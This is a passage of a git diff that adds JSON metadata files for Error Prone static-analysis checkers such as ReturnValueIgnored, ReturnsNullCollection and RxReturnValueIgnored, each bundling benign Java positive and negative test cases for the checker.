null, + "expected-linenumbers": [ + 35 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import java.io.IOException;\n import java.math.BigDecimal;\n import java.math.BigInteger;\n import java.nio.file.Path;\n import java.nio.file.Paths;\n import java.util.Arrays;\n import java.util.Locale;\n\n /**\n * @author alexeagle@google.com (Alex Eagle)\n */\n public class ReturnValueIgnoredPositiveCases {\n String a = \"thing\";\n\n // BUG: Diagnostic contains: Return value of 'valueOf' must be used\n private Runnable r = () -> String.valueOf(\"\");\n\n { // String methods\n // BUG: Diagnostic contains: remove this line\n String.format(\"%d\", 10);\n // BUG: Diagnostic contains: remove this line\n String.format(\"%d\", 10).trim();\n // BUG: Diagnostic contains: remove this line\n java.lang.String.format(\"%d\", 10).trim();\n // BUG: Diagnostic contains: a = a.intern()\n a.intern();\n // BUG: Diagnostic contains: a = a.trim()\n a.trim();\n // BUG: Diagnostic contains: a = a.trim().concat(\"b\")\n a.trim().concat(\"b\");\n // BUG: Diagnostic contains: a = a.concat(\"append this\")\n a.concat(\"append this\");\n // BUG: Diagnostic contains: a = a.replace('t', 'b')\n a.replace('t', 'b');\n // BUG: Diagnostic contains: a = a.replace(\"thi\", \"fli\")\n a.replace(\"thi\", \"fli\");\n // BUG: Diagnostic contains: a = a.replaceAll(\"i\", \"b\")\n a.replaceAll(\"i\", \"b\");\n // BUG: Diagnostic contains: a = a.replaceFirst(\"a\", \"b\")\n a.replaceFirst(\"a\", \"b\");\n // BUG: Diagnostic contains: a = a.toLowerCase()\n a.toLowerCase();\n // BUG: Diagnostic contains: a = a.toLowerCase(Locale.ENGLISH)\n a.toLowerCase(Locale.ENGLISH);\n // BUG: Diagnostic contains: a = a.toUpperCase()\n a.toUpperCase();\n // BUG: Diagnostic contains: a = a.toUpperCase(Locale.ENGLISH)\n a.toUpperCase(Locale.ENGLISH);\n // BUG: Diagnostic contains: a = a.substring(0)\n a.substring(0);\n // BUG: Diagnostic contains: a = a.substring(0, 1)\n a.substring(0, 1);\n }\n\n StringBuffer sb = new StringBuffer(\"hello\");\n\n {\n // BUG: Diagnostic contains:\n sb.toString().trim();\n }\n\n BigInteger b = new BigInteger(\"123456789\");\n\n { // BigInteger methods\n // BUG: Diagnostic contains: b = b.add(new BigInteger(\"3\"))\n b.add(new BigInteger(\"3\"));\n // BUG: Diagnostic contains: b = b.abs()\n b.abs();\n // BUG: Diagnostic contains: b = b.shiftLeft(3)\n b.shiftLeft(3);\n // BUG: Diagnostic contains: b = b.subtract(BigInteger.TEN)\n b.subtract(BigInteger.TEN);\n }\n\n BigDecimal c = new BigDecimal(\"1234.5678\");\n\n { // BigDecimal methods\n // BUG: Diagnostic contains: c = c.add(new BigDecimal(\"1.3\"))\n c.add(new BigDecimal(\"1.3\"));\n // BUG: Diagnostic contains: c = c.abs()\n c.abs();\n // BUG: Diagnostic contains: c = c.divide(new BigDecimal(\"4.5\"))\n c.divide(new BigDecimal(\"4.5\"));\n // BUG: Diagnostic contains:\n new BigDecimal(\"10\").add(c);\n }\n\n Path p = Paths.get(\"foo/bar/baz\");\n\n { // Path methods\n // BUG: Diagnostic contains: p = p.getFileName();\n p.getFileName();\n // BUG: Diagnostic contains: p = p.getName(0);\n p.getName(0);\n // BUG: Diagnostic contains: p = p.getParent();\n p.getParent();\n // BUG: Diagnostic contains: p = p.getRoot();\n p.getRoot();\n // BUG: Diagnostic contains: p = p.normalize();\n p.normalize();\n // BUG: Diagnostic contains: p = p.relativize(p);\n p.relativize(p);\n // BUG: Diagnostic contains: p = p.resolve(p);\n p.resolve(p);\n // BUG: Diagnostic contains: p = p.resolve(\"string\");\n p.resolve(\"string\");\n // BUG: Diagnostic contains: p = p.resolveSibling(p);\n p.resolveSibling(p);\n // BUG: Diagnostic contains: p = p.resolveSibling(\"string\");\n p.resolveSibling(\"string\");\n // BUG: Diagnostic contains: p = p.subpath(0, 1);\n p.subpath(0, 1);\n // BUG: Diagnostic contains: p = p.toAbsolutePath();\n p.toAbsolutePath();\n try {\n // BUG: Diagnostic contains: p = p.toRealPath();\n p.toRealPath();\n } catch (IOException e) {\n }\n }\n\n int[] numbers = {5, 4, 3, 2, 1};\n Object[] objects = {new Object(), new Object()};\n\n { // Arrays methods\n // BUG: Diagnostic contains: Return value of 'asList' must be used\n Arrays.asList(5, 4, 3, 2, 1);\n // BUG: Diagnostic contains: Return value of 'binarySearch' must be used\n Arrays.binarySearch(numbers, 3);\n // BUG: Diagnostic contains: Return value of 'copyOf' must be used\n Arrays.copyOf(numbers, 3);\n // BUG: Diagnostic contains: Return value of 'copyOfRange' must be used\n Arrays.copyOfRange(numbers, 1, 3);\n // BUG: Diagnostic contains: Return value of 'deepEquals' must be used\n Arrays.deepEquals(objects, objects);\n // BUG: Diagnostic contains: Return value of 'deepHashCode' must be used\n Arrays.deepHashCode(objects);\n // BUG: Diagnostic contains: Return value of 'deepToString' must be used\n Arrays.deepToString(objects);\n // BUG: Diagnostic contains: Return value of 'equals' must be used\n Arrays.equals(objects, objects);\n // BUG: Diagnostic contains: Return value of 'hashCode' must be used\n Arrays.hashCode(objects);\n // BUG: Diagnostic contains: Return value of 'toString' must be used\n Arrays.toString(objects);\n }\n }\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 194 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import java.math.BigInteger;\n import java.util.Arrays;\n import java.util.HashMap;\n import java.util.Map;\n import java.util.function.Function;\n\n /**\n * @author alexeagle@google.com (Alex Eagle)\n */\n public class ReturnValueIgnoredNegativeCases {\n\n private String a = \"thing\";\n\n {\n String b = a.trim();\n System.out.println(a.trim());\n new String(new BigInteger(new byte[] {0x01}).add(BigInteger.ONE).toString());\n }\n\n String run() {\n return a.trim();\n }\n\n public void methodDoesntMatch() {\n Map map = new HashMap();\n map.put(\"test\", 1);\n }\n\n public void methodDoesntMatch2() {\n final String b = a.toString().trim();\n }\n\n public void acceptFunctionOfVoid(Function arg) {\n arg.apply(5);\n }\n\n public void passReturnValueCheckedMethodReferenceToFunctionVoid() {\n Function fn = (i -> null);\n acceptFunctionOfVoid(fn::apply);\n }\n\n public void arraysReturnValues() {\n int[] numbers = {5, 4, 3, 2, 1};\n int result = Arrays.binarySearch(numbers, 3);\n int hashCode = Arrays.hashCode(numbers);\n }\n\n public void arraysNoReturnValues() {\n int[] numbers = {5, 4, 3, 2, 1};\n Arrays.fill(numbers, 0);\n Arrays.sort(numbers);\n }\n }\\" + }, + { + "description": "function", + "expected-problems": null, + "expected-linenumbers": [ + 259 + ], + "code": "import java.util.function.Function;\n\n class Test {\n void f(Function f) {\n // BUG: Diagnostic contains: ReturnValueIgnored\n f.apply(0);\n }\n }" + }, + { + "description": "consumer", + "expected-problems": null, + "expected-linenumbers": [ + 277 + ], + "code": "import java.util.function.Consumer;\n\n class Test {\n void f(Consumer f) {\n f.accept(0);\n }\n }" + }, + { + "description": "functionVoid", + "expected-problems": null, + "expected-linenumbers": [ + 294 + ], + "code": "import java.util.function.Function;\n\n class Test {\n void f(Function f) {\n f.apply(0);\n }\n }" + }, + { + "description": "ignoreInTests", + "expected-problems": null, + "expected-linenumbers": [ + 311 + ], + "code": "import static org.junit.Assert.fail;\n import java.util.function.Function;\n\n class Test {\n void f(Function f) {\n try {\n f.apply(0);\n fail();\n } catch (Exception expected) {\n }\n }\n }" + }, + { + "description": "stream", + "expected-problems": null, + "expected-linenumbers": [ + 333 + ], + "code": "class Test {\n void f() {\n // BUG: Diagnostic contains: ReturnValueIgnored\n \"\".codePoints().count();\n \"\".codePoints().forEach(i -> {});\n }\n }" + }, + { + "description": "javaTime", + "expected-problems": null, + "expected-linenumbers": [ + 350 + ], + "code": "" + }, + { + "description": "optionalStaticMethods", + "expected-problems": null, + "expected-linenumbers": [ + 376 + ], + "code": "import java.util.Optional;\n\n class Test {\n void optional() {\n // BUG: Diagnostic contains: ReturnValueIgnored\n Optional.empty();\n // BUG: Diagnostic contains: ReturnValueIgnored\n Optional.of(42);\n // BUG: Diagnostic contains: ReturnValueIgnored\n Optional.ofNullable(null);\n }\n }" + }, + { + "description": "optionalInstanceMethods", + "expected-problems": null, + "expected-linenumbers": [ + 398 + ], + "code": "import java.util.Optional;\n\n class Test {\n void optional() {\n Optional optional = Optional.of(42);\n // BUG: Diagnostic contains: ReturnValueIgnored\n optional.filter(v -> v > 40);\n // BUG: Diagnostic contains: ReturnValueIgnored\n optional.flatMap(v -> Optional.of(v + 1));\n // BUG: Diagnostic contains: ReturnValueIgnored\n optional.get();\n optional.ifPresent(v -> {});\n // BUG: Diagnostic contains: ReturnValueIgnored\n optional.isPresent();\n // BUG: Diagnostic contains: ReturnValueIgnored\n optional.map(v -> v + 1);\n // BUG: Diagnostic contains: ReturnValueIgnored\n optional.orElse(40);\n // BUG: Diagnostic contains: ReturnValueIgnored\n optional.orElseGet(() -> 40);\n // BUG: Diagnostic contains: ReturnValueIgnored\n optional.orElseThrow(() -> new RuntimeException());\n }\n }" + }, + { + "description": "optionalInstanceMethods_jdk9", + "expected-problems": null, + "expected-linenumbers": [ + 432 + ], + "code": "import java.util.Optional;\n\n class Test {\n void optional() {\n Optional optional = Optional.of(42);\n // BUG: Diagnostic contains: ReturnValueIgnored\n optional.or(() -> Optional.empty());\n }\n }" + }, + { + "description": "optionalInstanceMethods_jdk10", + "expected-problems": null, + "expected-linenumbers": [ + 451 + ], + "code": "import java.util.Optional;\n\n class Test {\n void optional() {\n Optional optional = Optional.of(42);\n // BUG: Diagnostic contains: ReturnValueIgnored\n optional.orElseThrow();\n }\n }" + }, + { + "description": "optionalInstanceMethods_jdk11", + "expected-problems": null, + "expected-linenumbers": [ + 470 + ], + "code": "import java.util.Optional;\n\n class Test {\n void optional() {\n Optional optional = Optional.of(42);\n // BUG: Diagnostic contains: ReturnValueIgnored\n optional.isEmpty();\n }\n }" + }, + { + "description": "timeUnitApis", + "expected-problems": null, + "expected-linenumbers": [ + 489 + ], + "code": "import static java.util.concurrent.TimeUnit.MILLISECONDS;\n\n class Test {\n void timeUnit() {\n long ms = 4200;\n // BUG: Diagnostic contains: ReturnValueIgnored\n MILLISECONDS.toNanos(ms);\n }\n }" + }, + { + "description": "issue1565_enumDeclaration", + "expected-problems": null, + "expected-linenumbers": [ + 508 + ], + "code": "import java.util.function.Function;\n\n enum Test {\n A;\n\n void f(Function f) {\n // BUG: Diagnostic contains: ReturnValueIgnored\n f.apply(0);\n }\n }" + }, + { + "description": "issue1363_dateTimeFormatterBuilder", + "expected-problems": null, + "expected-linenumbers": [ + 528 + ], + "code": "import java.time.format.DateTimeFormatterBuilder;\n\n class Test {\n void f() {\n DateTimeFormatterBuilder formatter = new DateTimeFormatterBuilder();\n formatter.appendZoneId();\n formatter.optionalEnd();\n formatter.padNext(5);\n formatter.parseCaseSensitive();\n // BUG: Diagnostic contains: ReturnValueIgnored\n formatter.toFormatter();\n }\n }" + }, + { + "description": "issue876", + "expected-problems": null, + "expected-linenumbers": [ + 551 + ], + "code": "import java.nio.file.Path;\n\n abstract class Test {\n void test(Path p) {\n // BUG: Diagnostic contains: ReturnValueIgnored\n E e = p::toRealPath;\n }\n\n abstract void a(T t);\n\n public interface E {\n void run() throws Exception;\n }\n }" + }, + { + "description": "collectionContains", + "expected-problems": null, + "expected-linenumbers": [ + 575 + ], + "code": "abstract class Test {\n void test(java.util.List p) {\n // BUG: Diagnostic contains: ReturnValueIgnored\n p.contains(null);\n }\n }" + }, + { + "description": "mapMethods", + "expected-problems": null, + "expected-linenumbers": [ + 591 + ], + "code": "import java.util.Map;\n\n public final class Test {\n void doTest(Map map) {\n // BUG: Diagnostic contains: ReturnValueIgnored\n map.isEmpty();\n // BUG: Diagnostic contains: ReturnValueIgnored\n map.size();\n // BUG: Diagnostic contains: ReturnValueIgnored\n map.entrySet();\n // BUG: Diagnostic contains: ReturnValueIgnored\n map.keySet();\n // BUG: Diagnostic contains: ReturnValueIgnored\n map.values();\n // BUG: Diagnostic contains: ReturnValueIgnored\n map.containsKey(42);\n // BUG: Diagnostic contains: ReturnValueIgnored\n map.containsValue(42);\n }\n\n void doTest(Map.Entry entry) {\n // BUG: Diagnostic contains: ReturnValueIgnored\n entry.getKey();\n // BUG: Diagnostic contains: ReturnValueIgnored\n entry.getValue();\n entry.setValue(42);\n }\n }" + }, + { + "description": "mapMethods_java11", + "expected-problems": null, + "expected-linenumbers": [ + 629 + ], + "code": "import java.util.Map;\n\n class Test {\n void doTest() {\n // BUG: Diagnostic contains: ReturnValueIgnored\n Map.of(42, 42);\n // BUG: Diagnostic contains: ReturnValueIgnored\n Map.entry(42, 42);\n }\n\n void doTest(Map map) {\n // BUG: Diagnostic contains: ReturnValueIgnored\n Map.copyOf(map);\n }\n\n void doTest(Map.Entry... entries) {\n // BUG: Diagnostic contains: ReturnValueIgnored\n Map.ofEntries(entries);\n }\n }" + }, + { + "description": "methodReferenceToObject", + "expected-problems": null, + "expected-linenumbers": [ + 659 + ], + "code": "import java.util.function.Function;\n\n abstract class Test {\n void test(Function fn) {\n foo(fn::apply);\n }\n\n void foo(Function fn) {}\n }" + }, + { + "description": "integers", + "expected-problems": null, + "expected-linenumbers": [ + 678 + ], + "code": "" + }, + { + "description": "constructors", + "expected-problems": null, + "expected-linenumbers": [ + 702 + ], + "code": "" + }, + { + "description": "protoMessageNewBuilder", + "expected-problems": null, + "expected-linenumbers": [ + 717 + ], + "code": "import com.google.protobuf.Duration;\n\n class Test {\n public void proto_newBuilder() {\n // BUG: Diagnostic contains: ReturnValueIgnored\n Duration.newBuilder();\n Duration.Builder builder = Duration.newBuilder();\n Duration duration = Duration.newBuilder().setSeconds(4).build();\n }\n }" + }, + { + "description": "protoMessageBuildBuildPartial", + "expected-problems": null, + "expected-linenumbers": [ + 737 + ], + "code": "import com.google.protobuf.Duration;\n\n final class Test {\n public void proto_build() {\n // BUG: Diagnostic contains: ReturnValueIgnored\n Duration.newBuilder().setSeconds(4).build();\n Duration duration = Duration.newBuilder().setSeconds(4).build();\n }\n\n public void proto_buildPartial() {\n // BUG: Diagnostic contains: ReturnValueIgnored\n Duration.newBuilder().setSeconds(4).buildPartial();\n Duration duration = Duration.newBuilder().setSeconds(4).buildPartial();\n }\n }" + }, + { + "description": "refactoringDeletesConstantExpressionCall", + "expected-problems": null, + "expected-linenumbers": [ + 762 + ], + "code": "import java.util.Optional;\n import java.util.stream.Stream;\n\n final class Test {\n public void f() {\n Optional.of(42);\n Optional.of(42).orElseThrow(AssertionError::new);\n Stream.of(Optional.of(42)).forEach(o -> o.orElseThrow(AssertionError::new));\n }\n }\n \n\n import java.util.Optional;\n import java.util.stream.Stream;\n\n final class Test {\n public void f() {\n var unused = Optional.of(42).orElseThrow(AssertionError::new);\n Stream.of(Optional.of(42)).forEach(o -> o.orElseThrow(AssertionError::new));\n }\n }" + }, + { + "description": "refactoringAssignsToOriginal", + "expected-problems": null, + "expected-linenumbers": [ + 795 + ], + "code": "import java.util.Optional;\n\n class Test {\n void f(Optional o) {\n o.map(i -> i + 1);\n }\n }\n \n\n import java.util.Optional;\n\n class Test {\n void f(Optional o) {\n o = o.map(i -> i + 1);\n }\n }" + }, + { + "description": "refactoringDoesNotAssignToOriginalForTypeArgumentMismatch", + "expected-problems": null, + "expected-linenumbers": [ + 823 + ], + "code": "import java.util.Optional;\n\n final class Test {\n public void f() {\n Optional o = Optional.of(42);\n o.map(i -> \"value is \" + i);\n }\n }\n \n\n import java.util.Optional;\n\n final class Test {\n public void f() {\n Optional o = Optional.of(42);\n var unused = o.map(i -> \"value is \" + i);\n }\n }" + }, + { + "description": "iterableHasNext", + "expected-problems": null, + "expected-linenumbers": [ + 853 + ], + "code": "" + }, + { + "description": "collectionToArray", + "expected-problems": null, + "expected-linenumbers": [ + 878 + ], + "code": "" + }, + { + "description": "collectionToArray_java8", + "expected-problems": null, + "expected-linenumbers": [ + 898 + ], + "code": "import com.google.common.collect.ImmutableList;\n\n final class Test {\n private static final ImmutableList LIST = ImmutableList.of(42L);\n\n public void collectionToArray() {\n // BUG: Diagnostic contains: ReturnValueIgnored\n LIST.toArray(Long[]::new);\n }\n }" + }, + { + "description": "objectMethods", + "expected-problems": null, + "expected-linenumbers": [ + 918 + ], + "code": "class Test {\n void test(Test t, Object o) {\n // BUG: Diagnostic contains: ReturnValueIgnored\n t.equals(o);\n // BUG: Diagnostic contains: ReturnValueIgnored\n o.equals(t);\n // BUG: Diagnostic contains: ReturnValueIgnored\n t.hashCode();\n // BUG: Diagnostic contains: ReturnValueIgnored\n t.getClass();\n }\n }" + }, + { + "description": "charSequenceMethods", + "expected-problems": null, + "expected-linenumbers": [ + 940 + ], + "code": "class Test {\n void test(CharSequence cs) {\n // BUG: Diagnostic contains: ReturnValueIgnored\n cs.charAt(0);\n // BUG: Diagnostic contains: ReturnValueIgnored\n cs.chars();\n // BUG: Diagnostic contains: ReturnValueIgnored\n cs.codePoints();\n // BUG: Diagnostic contains: ReturnValueIgnored\n cs.length();\n // BUG: Diagnostic contains: ReturnValueIgnored\n cs.subSequence(1, 2);\n // BUG: Diagnostic contains: ReturnValueIgnored\n cs.toString();\n }\n\n void test(StringBuilder sb) {\n sb.append(\"hi\");\n }\n }" + }, + { + "description": "enumMethods", + "expected-problems": null, + "expected-linenumbers": [ + 970 + ], + "code": "import java.util.concurrent.TimeUnit;\n\n class Test {\n void test(Enum e) {\n // BUG: Diagnostic contains: ReturnValueIgnored\n e.getDeclaringClass();\n // BUG: Diagnostic contains: ReturnValueIgnored\n e.name();\n // BUG: Diagnostic contains: ReturnValueIgnored\n e.ordinal();\n // BUG: Diagnostic contains: ReturnValueIgnored\n TimeUnit.valueOf(\"MILLISECONDS\");\n }\n }" + }, + { + "description": "enumMethodsOnSubtype", + "expected-problems": null, + "expected-linenumbers": [ + 994 + ], + "code": "import java.lang.invoke.VarHandle;\n\n class Test {\n void test(VarHandle.AccessMode accessMode) {\n accessMode.methodName();\n }\n }" + }, + { + "description": "throwableMethods", + "expected-problems": null, + "expected-linenumbers": [ + 1011 + ], + "code": "" + }, + { + "description": "objectsMethods", + "expected-problems": null, + "expected-linenumbers": [ + 1038 + ], + "code": "" + }, + { + "description": "classMethods", + "expected-problems": null, + "expected-linenumbers": [ + 1078 + ], + "code": "class Test {\n void test(Class c) throws Exception {\n Class.forName(\"java.sql.Date\");\n c.getMethod(\"toString\");\n // BUG: Diagnostic contains: ReturnValueIgnored\n c.desiredAssertionStatus();\n }\n }" + }, + { + "description": "constructorOfAbstractModule", + "expected-problems": null, + "expected-linenumbers": [ + 1096 + ], + "code": "import com.google.inject.AbstractModule;\n\n class TestModule extends AbstractModule {\n public TestModule() {}\n\n public static void foo() {\n // BUG: Diagnostic contains: Ignored return value of 'TestModule'\n new TestModule();\n }\n }" + }, + { + "description": "constructorOfModule", + "expected-problems": null, + "expected-linenumbers": [ + 1116 + ], + "code": "import com.google.inject.Binder;\n import com.google.inject.Module;\n\n class TestModule implements Module {\n public TestModule() {}\n\n @Override\n public void configure(Binder binder) {}\n\n public static void foo() {\n // BUG: Diagnostic contains: Ignored return value of 'TestModule'\n new TestModule();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ReturnsNullCollection.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ReturnsNullCollection.json new file mode 100644 index 0000000..df7526d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ReturnsNullCollection.json @@ -0,0 +1,30 @@ +{ + "name": "ReturnsNullCollection", + "language": "java", + "description": "Method has a collection return type and returns {@code null} in some cases but does not annotate the method as @Nullable. See Effective Java 3rd Edition Item 54.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 61, + "branches": 1, + "apis": 2, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "import com.google.common.collect.Multimap;\n import com.google.common.collect.Table;\n import java.util.Collection;\n import java.util.ArrayList;\n import java.util.List;\n import java.util.Map;\n\n class Test {\n Collection methodReturnsNullCollection() {\n // BUG: Diagnostic contains: ReturnsNullCollection\n return null;\n }\n\n List methodReturnsNullList() {\n // BUG: Diagnostic contains: ReturnsNullCollection\n return null;\n }\n\n Map methodReturnsNullMap() {\n // BUG: Diagnostic contains: ReturnsNullCollection\n return null;\n }\n\n Multimap methodReturnsNullMultimap() {\n // BUG: Diagnostic contains: ReturnsNullCollection\n return null;\n }\n\n Table methodReturnsNullTable() {\n // BUG: Diagnostic contains: ReturnsNullCollection\n return null;\n }\n\n List methodReturnsNullListConditionally(boolean foo) {\n if (foo) {\n // BUG: Diagnostic contains: ReturnsNullCollection\n return null;\n }\n return new ArrayList();\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 82 + ], + "code": "import java.util.Collection;\n import java.util.HashMap;\n import java.util.List;\n import java.util.Map;\n import javax.annotation.Nullable;\n\n class Test {\n @Nullable\n Collection methodReturnsNullCollection() {\n return null;\n }\n\n @Nullable\n List methodReturnsNullList() {\n return null;\n }\n\n @Nullable\n Map methodReturnsNullMap() {\n return null;\n }\n\n @Nullable\n HashMap methodReturnsNullHashMap() {\n return null;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/RobolectricShadowDirectlyOn.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/RobolectricShadowDirectlyOn.json new file mode 100644 index 0000000..737ea8f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/RobolectricShadowDirectlyOn.json @@ -0,0 +1,22 @@ +{ + "name": "RobolectricShadowDirectlyOn", + "language": "java", + "description": "Migrate off a deprecated overload of org.robolectric.shadow.api.Shadow#directlyOn", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 84, + "branches": 5, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "package org.robolectric.shadow.api;\n\n import org.robolectric.util.ReflectionHelpers.ClassParameter;\n\n public class Shadow {\n public static T directlyOn(T shadowedObject, Class clazz) {\n return null;\n }\n\n public static Runnable directlyOn(\n T shadowedObject, Class clazz, String baz, ClassParameter... params) {\n return null;\n }\n }\n \n\n package org.robolectric.util;\n\n public class ReflectionHelpers {\n public static class ClassParameter {\n public static ClassParameter from(Class clazz, V val) {\n return null;\n }\n }\n }\n \n\n import java.util.List;\n\n class Foo {\n Runnable baz(Object r, long n, List x, String s) {\n return null;\n }\n }\n \n\n import java.util.List;\n import org.robolectric.shadow.api.Shadow;\n\n class Test {\n public Runnable registerNativeAllocation(Foo foo, Object r, long n, List x) {\n return Shadow.directlyOn(foo, Foo.class).baz(r, n, x, null);\n }\n }\n \n\n import java.util.List;\n import org.robolectric.shadow.api.Shadow;\n import org.robolectric.util.ReflectionHelpers.ClassParameter;\n\n class Test {\n public Runnable registerNativeAllocation(Foo foo, Object r, long n, List x) {\n return Shadow.directlyOn(\n foo,\n Foo.class,\n \"baz\",\n ClassParameter.from(Object.class, r),\n ClassParameter.from(long.class, n),\n ClassParameter.from(List.class, x),\n ClassParameter.from(String.class, null));\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/RuleNotRun.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/RuleNotRun.json new file mode 100644 index 0000000..9e7c244 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/RuleNotRun.json @@ -0,0 +1,54 @@ +{ + "name": "RuleNotRun", + "language": "java", + "description": "This TestRule isn't annotated with @Rule, so won't be run.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 137, + "branches": 10, + "apis": 2, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 29 + ], + "code": "import org.junit.Test;\n import org.junit.rules.TemporaryFolder;\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public final class TestTest {\n // BUG: Diagnostic contains:\n public final TemporaryFolder folder = new TemporaryFolder();\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 49 + ], + "code": "import org.junit.Rule;\n import org.junit.Test;\n import org.junit.rules.TemporaryFolder;\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public final class TestTest {\n @Rule public final TemporaryFolder folder = new TemporaryFolder();\n }" + }, + { + "description": "negative_ruleChain", + "expected-problems": null, + "expected-linenumbers": [ + 69 + ], + "code": "import org.junit.Rule;\n import org.junit.Test;\n import org.junit.rules.RuleChain;\n import org.junit.rules.TemporaryFolder;\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public final class TestTest {\n public final TemporaryFolder folder = new TemporaryFolder();\n @Rule public final RuleChain rules = RuleChain.outerRule(folder);\n }" + }, + { + "description": "negative_injected", + "expected-problems": null, + "expected-linenumbers": [ + 91 + ], + "code": "import javax.inject.Inject;\n import org.junit.Rule;\n import org.junit.Test;\n import org.junit.rules.TemporaryFolder;\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public final class TestTest {\n @Inject public final TemporaryFolder folder = new TemporaryFolder();\n }" + }, + { + "description": "negative_private", + "expected-problems": null, + "expected-linenumbers": [ + 112 + ], + "code": "import org.junit.Rule;\n import org.junit.Test;\n import org.junit.rules.TemporaryFolder;\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n @RunWith(JUnit4.class)\n public final class TestTest {\n private final TemporaryFolder folder = new TemporaryFolder();\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/RxReturnValueIgnored.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/RxReturnValueIgnored.json new file mode 100644 index 0000000..fd229d5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/RxReturnValueIgnored.json @@ -0,0 +1,94 @@ +{ + "name": "RxReturnValueIgnored", + "language": "java", + "description": "Returned Rx objects must be checked. Ignoring a returned Rx value means it is never scheduled for execution", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 111, + "branches": 9, + "apis": 2, + "test": [ + { + "description": "positiveCases", + "expected-problems": null, + "expected-linenumbers": [ + 99 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport com.google.errorprone.annotations.CanIgnoreReturnValue;\nimport io.reactivex.Flowable;\nimport io.reactivex.Maybe;\nimport io.reactivex.Observable;\nimport io.reactivex.Single;\nimport java.util.Arrays;\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * @author friedj@google.com (Jake Fried)\n */\npublic class RxReturnValueIgnoredPositiveCases {\n private static Observable getObservable() {\n return null;\n }\n\n private static Single getSingle() {\n return null;\n }\n\n private static Flowable getFlowable() {\n return null;\n }\n\n private static Maybe getMaybe() {\n return null;\n }\n\n {\n new Observable();\n new Single();\n new Flowable();\n new Maybe();\n\n // BUG: Diagnostic contains: Rx objects must be checked.\n getObservable();\n // BUG: Diagnostic contains: Rx objects must be checked.\n getSingle();\n // BUG: Diagnostic contains: Rx objects must be checked.\n getFlowable();\n // BUG: Diagnostic contains: Rx objects must be checked.\n getMaybe();\n\n // BUG: Diagnostic contains: Rx objects must be checked.\n Arrays.asList(1, 2, 3).forEach(n -> getObservable());\n // BUG: Diagnostic contains: Rx objects must be checked.\n Arrays.asList(1, 2, 3).forEach(n -> getSingle());\n // BUG: Diagnostic contains: Rx objects must be checked.\n Arrays.asList(1, 2, 3).forEach(n -> getFlowable());\n // BUG: Diagnostic contains: Rx objects must be checked.\n Arrays.asList(1, 2, 3).forEach(n -> getMaybe());\n }\n\n private abstract static class IgnoringParent {\n @CanIgnoreReturnValue\n abstract T ignoringFunction();\n }\n\n private class NonIgnoringObservableChild extends IgnoringParent> {\n @Override\n Observable ignoringFunction() {\n return null;\n }\n }\n\n private class NonIgnoringSingleChild extends IgnoringParent> {\n @Override\n Single ignoringFunction() {\n return null;\n }\n }\n\n private class NonIgnoringFlowableChild extends IgnoringParent> {\n @Override\n Flowable ignoringFunction() {\n return null;\n }\n }\n\n private class NonIgnoringMaybeChild extends IgnoringParent> {\n @Override\n Maybe ignoringFunction() {\n return null;\n }\n }\n\n public void inheritanceTest() {\n NonIgnoringObservableChild observableChild = new NonIgnoringObservableChild();\n NonIgnoringSingleChild singleChild = new NonIgnoringSingleChild();\n NonIgnoringFlowableChild flowableChild = new NonIgnoringFlowableChild();\n NonIgnoringMaybeChild maybeChild = new NonIgnoringMaybeChild();\n\n // BUG: Diagnostic contains: Rx objects must be checked.\n observableChild.ignoringFunction();\n // BUG: Diagnostic contains: Rx objects must be checked.\n singleChild.ignoringFunction();\n // BUG: Diagnostic contains: Rx objects must be checked.\n flowableChild.ignoringFunction();\n // BUG: Diagnostic contains: Rx objects must be checked.\n maybeChild.ignoringFunction();\n }\n\n public void conditional() {\n if (false) {\n // BUG: Diagnostic contains: Rx objects must be checked.\n getObservable();\n // BUG: Diagnostic contains: Rx objects must be checked.\n getSingle();\n // BUG: Diagnostic contains: Rx objects must be checked.\n getFlowable();\n // BUG: Diagnostic contains: Rx objects must be checked.\n getMaybe();\n }\n\n return;\n }\n\n static void getFromMap() {\n Map map1 = new HashMap<>();\n Map map2 = new HashMap<>();\n Map map3 = new HashMap<>();\n Map map4 = new HashMap<>();\n\n // BUG: Diagnostic contains: Rx 